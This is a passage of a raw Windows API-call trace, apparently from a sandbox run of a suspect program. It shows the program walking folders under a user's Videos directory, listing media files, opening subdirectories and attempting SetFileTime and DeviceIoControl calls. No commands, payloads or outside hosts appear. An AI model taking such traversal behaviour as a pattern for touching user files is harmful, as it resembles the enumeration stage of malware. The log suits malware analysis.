[0091.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6418 [0091.079] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad37f60, ftCreationTime.dwHighDateTime=0x1d5bdbb, ftLastAccessTime.dwLowDateTime=0x23a0a3e0, ftLastAccessTime.dwHighDateTime=0x1d5baa8, ftLastWriteTime.dwLowDateTime=0x23a0a3e0, ftLastWriteTime.dwHighDateTime=0x1d5baa8, nFileSizeHigh=0x0, nFileSizeLow=0xfdae, dwReserved0=0x0, dwReserved1=0x0, cFileName="wezucqO.mkv", cAlternateFileName="")) returned 1 [0091.080] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad37f60, ftCreationTime.dwHighDateTime=0x1d5bdbb, ftLastAccessTime.dwLowDateTime=0x23a0a3e0, ftLastAccessTime.dwHighDateTime=0x1d5baa8, ftLastWriteTime.dwLowDateTime=0x23a0a3e0, ftLastWriteTime.dwHighDateTime=0x1d5baa8, nFileSizeHigh=0x0, nFileSizeLow=0xfdae, dwReserved0=0x0, dwReserved1=0x0, cFileName="wezucqO.mkv", cAlternateFileName="")) returned 0 [0091.080] GetLastError () returned 0x12 [0091.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.080] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.080] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ae3b0, ftCreationTime.dwHighDateTime=0x1d5b5b9, ftLastAccessTime.dwLowDateTime=0xe49b8c40, ftLastAccessTime.dwHighDateTime=0x1d5c2eb, ftLastWriteTime.dwLowDateTime=0xe49b8c40, ftLastWriteTime.dwHighDateTime=0x1d5c2eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.080] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b8a2940, ftCreationTime.dwHighDateTime=0x1d5b8ac, ftLastAccessTime.dwLowDateTime=0x77f23f50, ftLastAccessTime.dwHighDateTime=0x1d5c3b1, ftLastWriteTime.dwLowDateTime=0x77f23f50, ftLastWriteTime.dwHighDateTime=0x1d5c3b1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-f9Ha", cAlternateFileName="")) returned 1 [0091.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b8a2940, ftCreationTime.dwHighDateTime=0x1d5b8ac, ftLastAccessTime.dwLowDateTime=0x77f23f50, ftLastAccessTime.dwHighDateTime=0x1d5c3b1, ftLastWriteTime.dwLowDateTime=0x77f23f50, ftLastWriteTime.dwHighDateTime=0x1d5c3b1, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0091.080] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.080] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.080] NtClose (Handle=0x178) returned 0x0 [0091.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1352cc0) returned 1 [0091.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352cc0 [0091.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352dc8 [0091.082] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0091.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b8a2940, ftCreationTime.dwHighDateTime=0x1d5b8ac, ftLastAccessTime.dwLowDateTime=0x77f23f50, ftLastAccessTime.dwHighDateTime=0x1d5c3b1, ftLastWriteTime.dwLowDateTime=0x77f23f50, ftLastWriteTime.dwHighDateTime=0x1d5c3b1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2070770, ftCreationTime.dwHighDateTime=0x1d5bb5f, ftLastAccessTime.dwLowDateTime=0xad753650, ftLastAccessTime.dwHighDateTime=0x1d5b9ca, ftLastWriteTime.dwLowDateTime=0xad753650, ftLastWriteTime.dwHighDateTime=0x1d5b9ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-qHaNLxb3hdsrPymc", cAlternateFileName="")) returned 1 [0091.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff4c9ce0, ftCreationTime.dwHighDateTime=0x1d5c4ea, ftLastAccessTime.dwLowDateTime=0xbc760240, ftLastAccessTime.dwHighDateTime=0x1d5bcc4, ftLastWriteTime.dwLowDateTime=0xbc760240, ftLastWriteTime.dwHighDateTime=0x1d5bcc4, nFileSizeHigh=0x0, nFileSizeLow=0x16721, dwReserved0=0x0, dwReserved1=0x0, cFileName="eKRydH1.mkv", cAlternateFileName="")) returned 1 [0091.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352ed0 [0091.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6458 [0091.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352fd8 [0091.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.084] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442f19b0, ftCreationTime.dwHighDateTime=0x1d5bb21, ftLastAccessTime.dwLowDateTime=0x6f1e20a0, ftLastAccessTime.dwHighDateTime=0x1d5bb79, ftLastWriteTime.dwLowDateTime=0x6f1e20a0, ftLastWriteTime.dwHighDateTime=0x1d5bb79, nFileSizeHigh=0x0, nFileSizeLow=0x152b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eUfsbTNqeYmjbT6_.swf", cAlternateFileName="")) returned 1 [0091.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6478 [0091.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13530e0 [0091.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.086] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5cc90d0, ftCreationTime.dwHighDateTime=0x1d5bf9f, ftLastAccessTime.dwLowDateTime=0xfa603e60, ftLastAccessTime.dwHighDateTime=0x1d5c091, ftLastWriteTime.dwLowDateTime=0xfa603e60, ftLastWriteTime.dwHighDateTime=0x1d5c091, nFileSizeHigh=0x0, nFileSizeLow=0xa128, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXauS.mp4", cAlternateFileName="")) returned 1 [0091.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6498 [0091.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13531e8 [0091.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.088] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8bb69a0, ftCreationTime.dwHighDateTime=0x1d5bfe3, ftLastAccessTime.dwLowDateTime=0x4b0184d0, ftLastAccessTime.dwHighDateTime=0x1d5bcde, ftLastWriteTime.dwLowDateTime=0x4b0184d0, ftLastWriteTime.dwHighDateTime=0x1d5bcde, nFileSizeHigh=0x0, nFileSizeLow=0x756d, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3QgdfdfrGD4jWlG U.flv", cAlternateFileName="")) returned 1 [0091.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f64b8 [0091.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13532f0 [0091.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9900) returned 0x135c9e8 [0091.090] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ffa1080, ftCreationTime.dwHighDateTime=0x1d5c44c, ftLastAccessTime.dwLowDateTime=0x5d9ba7c0, ftLastAccessTime.dwHighDateTime=0x1d5bf62, ftLastWriteTime.dwLowDateTime=0x5d9ba7c0, ftLastWriteTime.dwHighDateTime=0x1d5bf62, nFileSizeHigh=0x0, nFileSizeLow=0x7365, dwReserved0=0x0, dwReserved1=0x0, cFileName="_VTKby_RRW4.avi", cAlternateFileName="")) returned 1 [0091.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f64d8 [0091.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13533f8 [0091.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.092] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ffa1080, ftCreationTime.dwHighDateTime=0x1d5c44c, ftLastAccessTime.dwLowDateTime=0x5d9ba7c0, ftLastAccessTime.dwHighDateTime=0x1d5bf62, ftLastWriteTime.dwLowDateTime=0x5d9ba7c0, ftLastWriteTime.dwHighDateTime=0x1d5bf62, nFileSizeHigh=0x0, nFileSizeLow=0x7365, dwReserved0=0x0, dwReserved1=0x0, cFileName="_VTKby_RRW4.avi", cAlternateFileName="")) returned 0 [0091.092] GetLastError () returned 0x12 [0091.092] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0091.092] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.092] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b8a2940, ftCreationTime.dwHighDateTime=0x1d5b8ac, ftLastAccessTime.dwLowDateTime=0x77f23f50, ftLastAccessTime.dwHighDateTime=0x1d5c3b1, ftLastWriteTime.dwLowDateTime=0x77f23f50, ftLastWriteTime.dwHighDateTime=0x1d5c3b1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.092] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2070770, ftCreationTime.dwHighDateTime=0x1d5bb5f, ftLastAccessTime.dwLowDateTime=0xad753650, ftLastAccessTime.dwHighDateTime=0x1d5b9ca, ftLastWriteTime.dwLowDateTime=0xad753650, ftLastWriteTime.dwHighDateTime=0x1d5b9ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-qHaNLxb3hdsrPymc", cAlternateFileName="")) returned 1 [0091.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353500 [0091.093] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2070770, ftCreationTime.dwHighDateTime=0x1d5bb5f, ftLastAccessTime.dwLowDateTime=0xad753650, ftLastAccessTime.dwHighDateTime=0x1d5b9ca, ftLastWriteTime.dwLowDateTime=0xad753650, ftLastWriteTime.dwHighDateTime=0x1d5b9ca, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0091.093] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0091.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.093] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0091.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.094] NtClose (Handle=0x178) returned 0x0 [0091.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1353500) returned 1 [0091.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353500 [0091.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353608 [0091.095] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0091.095] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2070770, ftCreationTime.dwHighDateTime=0x1d5bb5f, ftLastAccessTime.dwLowDateTime=0xad753650, ftLastAccessTime.dwHighDateTime=0x1d5b9ca, ftLastWriteTime.dwLowDateTime=0xad753650, ftLastWriteTime.dwHighDateTime=0x1d5b9ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.096] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf984840, ftCreationTime.dwHighDateTime=0x1d5bb4e, ftLastAccessTime.dwLowDateTime=0xf6d80bb0, ftLastAccessTime.dwHighDateTime=0x1d5bf15, ftLastWriteTime.dwLowDateTime=0xf6d80bb0, ftLastWriteTime.dwHighDateTime=0x1d5bf15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cK_m9_pVw3Uvu", cAlternateFileName="")) returned 1 [0091.097] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d88680, ftCreationTime.dwHighDateTime=0x1d5b6bc, ftLastAccessTime.dwLowDateTime=0xeff3e240, ftLastAccessTime.dwHighDateTime=0x1d5be95, ftLastWriteTime.dwLowDateTime=0xeff3e240, ftLastWriteTime.dwHighDateTime=0x1d5be95, nFileSizeHigh=0x0, nFileSizeLow=0x15cdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="fDY2U680ogaaI.mp4", cAlternateFileName="")) returned 1 [0091.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353710 [0091.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f64f8 [0091.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353818 [0091.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.099] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4752dd0, ftCreationTime.dwHighDateTime=0x1d5b927, ftLastAccessTime.dwLowDateTime=0xe3a51430, ftLastAccessTime.dwHighDateTime=0x1d5bb1d, ftLastWriteTime.dwLowDateTime=0xe3a51430, ftLastWriteTime.dwHighDateTime=0x1d5bb1d, nFileSizeHigh=0x0, nFileSizeLow=0x4a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpwbR.flv", cAlternateFileName="")) returned 1 [0091.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6518 [0091.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353920 [0091.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.101] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa14df660, ftCreationTime.dwHighDateTime=0x1d5c2e8, ftLastAccessTime.dwLowDateTime=0x4e5746c0, ftLastAccessTime.dwHighDateTime=0x1d5c0d4, ftLastWriteTime.dwLowDateTime=0x4e5746c0, ftLastWriteTime.dwHighDateTime=0x1d5c0d4, nFileSizeHigh=0x0, nFileSizeLow=0x180f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZwvfuG j3lr7M.mp4", cAlternateFileName="")) returned 1 [0091.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6538 [0091.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353a28 [0091.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.103] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa14df660, ftCreationTime.dwHighDateTime=0x1d5c2e8, ftLastAccessTime.dwLowDateTime=0x4e5746c0, ftLastAccessTime.dwHighDateTime=0x1d5c0d4, ftLastWriteTime.dwLowDateTime=0x4e5746c0, ftLastWriteTime.dwHighDateTime=0x1d5c0d4, nFileSizeHigh=0x0, nFileSizeLow=0x180f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZwvfuG j3lr7M.mp4", cAlternateFileName="")) returned 0 [0091.103] GetLastError () returned 0x12 [0091.103] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0091.103] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.103] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2070770, ftCreationTime.dwHighDateTime=0x1d5bb5f, ftLastAccessTime.dwLowDateTime=0xad753650, ftLastAccessTime.dwHighDateTime=0x1d5b9ca, ftLastWriteTime.dwLowDateTime=0xad753650, ftLastWriteTime.dwHighDateTime=0x1d5b9ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.103] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf984840, ftCreationTime.dwHighDateTime=0x1d5bb4e, ftLastAccessTime.dwLowDateTime=0xf6d80bb0, ftLastAccessTime.dwHighDateTime=0x1d5bf15, 